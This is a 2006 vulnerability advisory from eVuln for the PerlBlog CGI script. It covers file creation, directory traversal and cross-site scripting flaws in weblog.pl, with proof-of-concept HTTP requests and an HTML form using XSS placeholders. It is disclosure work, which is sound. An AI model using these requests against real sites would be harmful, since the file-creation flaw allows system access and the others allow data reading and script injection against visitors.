EV0081.txt

`New eVuln Advisory:  
PerlBlog Multiple Vulnerabilities  
http://evuln.com/vulns/81/summary.html  
  
--------------------Summary----------------  
eVuln ID: EV0081  
CVE: CVE-2006-0780 CVE-2006-0781 CVE-2006-0782  
Software: PerlBlog  
Sowtware's Web Site: http://www.chronicled.org/perlblog/  
Versions: 1.09b 1.09 1.08 - checked  
Critical Level: Dangerous  
Type: Multiple Vulnerabilities  
Class: Remote  
Status: Unpatched. No reply from developer(s)  
Exploit: Available  
Solution: Not Available  
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)  
  
-----------------Description---------------  
1. Arbitrary file creation with user-defined data.  
  
Vulnerable script: weblog.pl  
User-defined post variables are not properly sanitized. "reply" parameter may contain arbitrary filename. weblog.pl creates a file with "name" and "body" parameter values included.  
  
System access is possible.  
  
  
2. Directory traversal vulnerability.  
  
Vulnerable script: weblog.pl  
Input parameter "month" isn't properly sanitized. This can be used to read arbitrary txt-files.  
  
  
3. Cross-Site Scripting vulnerability.  
  
Vulnerable script: weblog.pl  
Post variables "name" and "email" are not properly sanitized. This can be used to post arbitrary HTML or JavaScript code.  
  
--------------Exploit----------------------  
Available at: http://evuln.com/vulns/81/exploit.html  
  
1. Arbitrary file creation with user-defined data.  
HTTP query example:  
  
POST /cgi-bin/perlblog/weblog.pl HTTP/1.0  
Content-Type: application/x-www-form-urlencoded  
Host: [host]  
Content-Length: 124  
  
date=02/14/2006-23:33&headerfile=200505&subject=Re: Welcome!&reply=[anyfilename]% 00&name=[anytext]&body=[anytext]&post=reply  
  
  
  
2. Directory traversal vulnerability.  
  
http://[host]/cgi-bin/perlblog/weblog.pl? month=../license  
  
3. Cross-Site Scripting vulnerability.  
  
<FORM NAME="forum" ACTION="http://[host]/cgi-bin/perlblog/weblog.pl" METHOD="POST">  
<INPUT NAME="date" VALUE="02/14/2006-23:33">  
<INPUT NAME="headerfile" VALUE="200505">  
<INPUT NAME="subject" VALUE="Re: Welcome!">  
<INPUT NAME="reply" VALUE="1">  
<INPUT NAME="post" VALUE="reply">  
<INPUT TYPE="TEXT" NAME="name" value='[XSS]'>  
<INPUT TYPE="TEXT" NAME="email" value='">[XSS]'>  
<TEXTAREA></TEXTAREA>  
<INPUT TYPE="Submit" VALUE="Post Comment">  
</FORM>  
  
  
  
--------------Solution---------------------  
No Patch available.  
  
--------------Credit-----------------------  
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)  
  
  
Regards,  
Aliaksandr Hartsuyeu  
http://evuln.com - Penetration Testing Services  
`